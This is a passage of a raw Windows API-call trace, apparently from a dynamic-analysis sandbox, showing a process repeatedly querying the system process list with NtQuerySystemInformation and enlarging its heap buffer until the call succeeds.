Flags=0x8, Ptr=0x41bf0080, Size=0x1a3a8) returned 0x41bf0080 [0120.708] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf0080, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x41bf0080, ResultLength=0x0) returned 0xc0000004 [0120.708] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf0080, Size=0x1b3cc) returned 0x41bf0080 [0120.708] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf0080, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x41bf0080, ResultLength=0x0) returned 0x0 [0120.931] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd660d0, Size=0x2048) returned 0x1cda08f0 [0120.931] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x1cda08f0, ResultLength=0x0) returned 0xc0000004 [0120.931] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08f0, Size=0x306c) returned 0x1cf26600 [0120.931] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cf26600, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x1cf26600, ResultLength=0x0) returned 0xc0000004 [0120.931] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cf26600, Size=0x4090) returned 0x42072080 [0120.932] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0120.932] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x50b4) returned 0x42072080 [0120.932] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0120.932] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x60d8) returned 0x42072080 [0120.932] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0120.932] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x70fc) returned 0x42072080 [0120.932] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0120.933] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x8120) returned 0x41bf8080 [0120.933] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf8080, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x41bf8080, ResultLength=0x0) returned 0xc0000004 [0120.933] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf8080, Size=0x9144) returned 0x41bf8080 [0120.933] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf8080, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x41bf8080, ResultLength=0x0) returned 0xc0000004 [0120.933] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf8080, Size=0xa168) returned 0x41bf8080 [0120.933] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf8080, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x41bf8080, ResultLength=0x0) returned 0xc0000004 [0120.933] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf8080, Size=0xb18c) returned 0x41bf8080 [0120.933] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf8080, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x41bf8080, ResultLength=0x0) returned 0xc0000004 [0120.934] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf8080, Size=0xc1b0) returned 0x41bf8080 [0120.934] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf8080, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x41bf8080, ResultLength=0x0) returned 0xc0000004 [0120.934] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf8080, Size=0xd1d4) returned 0x41bf8080 [0120.934] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf8080, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x41bf8080, ResultLength=0x0) returned 0xc0000004 [0120.934] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf8080, Size=0xe1f8) returned 0x41bf8080 [0120.934] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf8080, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x41bf8080, ResultLength=0x0) returned 0xc0000004 [0120.934] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf8080, Size=0xf21c) returned 0x41bf8080 [0120.935] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf8080, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x41bf8080, ResultLength=0x0) returned 0xc0000004 [0120.935] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf8080, Size=0x10240) returned 0x41bf8080 [0120.935] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf8080, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x41bf8080, ResultLength=0x0) returned 0xc0000004 [0120.935] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf8080, Size=0x11264) returned 0x41bf8080 [0120.935] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf8080, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x41bf8080, ResultLength=0x0) returned 0xc0000004 [0120.935] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf8080, Size=0x12288) returned 0x41bf8080 [0120.936] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf8080, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x41bf8080, ResultLength=0x0) returned 0xc0000004 [0120.936] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf8080, Size=0x132ac) returned 0x41bf8080 [0120.936] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf8080, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x41bf8080, ResultLength=0x0) returned 0xc0000004 [0120.936] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf8080, Size=0x142d0) returned 0x41bf8080 [0120.936] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf8080, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x41bf8080, ResultLength=0x0) returned 0xc0000004 [0120.937] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf8080, Size=0x152f4) returned 0x41bf8080 [0120.937] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf8080, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x41bf8080, ResultLength=0x0) returned 0xc0000004 [0120.937] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf8080, Size=0x16318) returned 0x41bf8080 [0120.937] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf8080, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x41bf8080, ResultLength=0x0) returned 0xc0000004 [0120.937] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf8080, Size=0x1733c) returned 0x41bf8080 [0120.938] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41bf8080, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x41bf8080, ResultLength=0x0) returned 0xc0000004 [0120.938] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41bf8080, Size=0x18360) returned 0x2030a080 [0120.938] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0120.938] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x19384) returned 0x2030a080 [0120.938] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0120.939] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x1a3a8) returned 0x2030a080 [0120.939] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0xc0000004 [0120.939] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x2030a080, Size=0x1b3cc) returned 0x2030a080 [0120.939] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2030a080, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2030a080, ResultLength=0x0) returned 0x0 [0121.042] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd660d0, Size=0x2048) returned 0x1cda08f0 [0121.043] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x1cda08f0, ResultLength=0x0) returned 0xc0000004 [0121.043] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08f0, Size=0x306c) returned 0x1cf26600 [0121.046] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cf26600, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x1cf26600, ResultLength=0x0) returned 0xc0000004 [0121.046] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cf26600, Size=0x4090) returned 0x42072080 [0121.047] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0121.047] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x50b4) returned 0x42072080 [0121.047] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0121.047] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x60d8) returned 0x42072080 [0121.047] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0121.048] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x70fc) returned 0x42072080 [0121.048] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0121.048] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x8120) returned 0x1cda08c0 [0121.048] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0121.048] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x9144) returned 0x1cda08c0 [0121.049] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0121.049] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xa168) returned 0x1cda08c0 [0121.049] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0121.050] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xb18c) returned 0x1cda08c0 [0121.050] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0121.051] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xc1b0) returned 0x1cda08c0 [0121.051] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0121.051] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xd1d4) returned 0x1cda08c0 [0121.051] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0121.052] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xe1f8) returned 0x1cda08c0 [0121.052] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0121.052] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xf21c) returned 0x1cda08c0 [0121.052] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0121.053] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x10240) returned 0x1cda08c0 [0121.053] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0121.054] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x11264) returned 0x1cda08c0 [0121.054] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0121.054] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x12288) returned 0x1cda08c0 [0121.054] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0121.055] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x132ac) returned 0x1cda08c0 [0121.055] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0121.055] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x142d0) returned 0x1cda08c0 [0121.055] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0121.056] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x152f4) returned 0x1cda08c0 [0121.056] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0121.056] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x16318) returned 0x1cda08c0 [0121.056] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0121.056] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1733c) returned 0x1cda08c0 [0121.057] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0121.057] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x18360) returned 0x1cda08c0 [0121.057] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0121.057] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x19384) returned 0x1cda08c0 [0121.057] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0121.058] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1a3a8) returned 0x1cda08c0 [0121.058] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0121.058] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1b3cc) returned 0x1cda08c0 [0121.058] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0x0 [0121.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2) returned 0x1b7d3400 [0121.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0121.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b7d5a50 [0121.550] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd660d0, Size=0x2048) returned 0x203fb690 [0125.053] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x203fb690, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x203fb690, ResultLength=0x0) returned 0xc0000004 [0125.056] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x203fb690, Size=0x306c) returned 0x202100b0 [0125.057] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x202100b0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x202100b0, ResultLength=0x0) returned 0xc0000004 [0125.057] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x202100b0, Size=0x4090) returned 0x42072080 [0125.057] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0125.057] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x50b4) returned 0x42072080 [0125.057] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0125.058] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x60d8) returned 0x42072080 [0125.058] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0125.058] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x70fc) returned 0x42072080 [0125.058] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0125.058] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x8120) returned 0x1cda08c0 [0125.058] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.058] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x9144) returned 0x1cda08c0 [0125.059] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.059] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xa168) returned 0x1cda08c0 [0125.059] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.059] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xb18c) returned 0x1cda08c0 [0125.059] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.059] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xc1b0) returned 0x1cda08c0 [0125.060] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.060] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xd1d4) returned 0x1cda08c0 [0125.060] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.060] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xe1f8) returned 0x1cda08c0 [0125.060] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.061] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xf21c) returned 0x1cda08c0 [0125.061] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.061] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x10240) returned 0x1cda08c0 [0125.061] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.061] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x11264) returned 0x1cda08c0 [0125.062] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.062] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x12288) returned 0x1cda08c0 [0125.062] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.062] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x132ac) returned 0x1cda08c0 [0125.062] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.063] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x142d0) returned 0x1cda08c0 [0125.063] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.063] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x152f4) returned 0x1cda08c0 [0125.063] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.063] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x16318) returned 0x1cda08c0 [0125.064] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.064] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1733c) returned 0x1cda08c0 [0125.064] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.064] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x18360) returned 0x1cda08c0 [0125.064] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.065] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x19384) returned 0x1cda08c0 [0125.065] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0x0 [0125.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2) returned 0x1b7d3400 [0125.187] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd660d0, Size=0x2048) returned 0x203fb690 [0125.187] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x203fb690, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x203fb690, ResultLength=0x0) returned 0xc0000004 [0125.187] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x203fb690, Size=0x306c) returned 0x202100b0 [0125.187] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x202100b0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x202100b0, ResultLength=0x0) returned 0xc0000004 [0125.187] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x202100b0, Size=0x4090) returned 0x42072080 [0125.187] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0125.187] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x50b4) returned 0x42072080 [0125.188] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0125.188] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x60d8) returned 0x42072080 [0125.188] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0125.188] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x70fc) returned 0x42072080 [0125.188] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0125.188] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x8120) returned 0x1cda08c0 [0125.188] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.189] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, 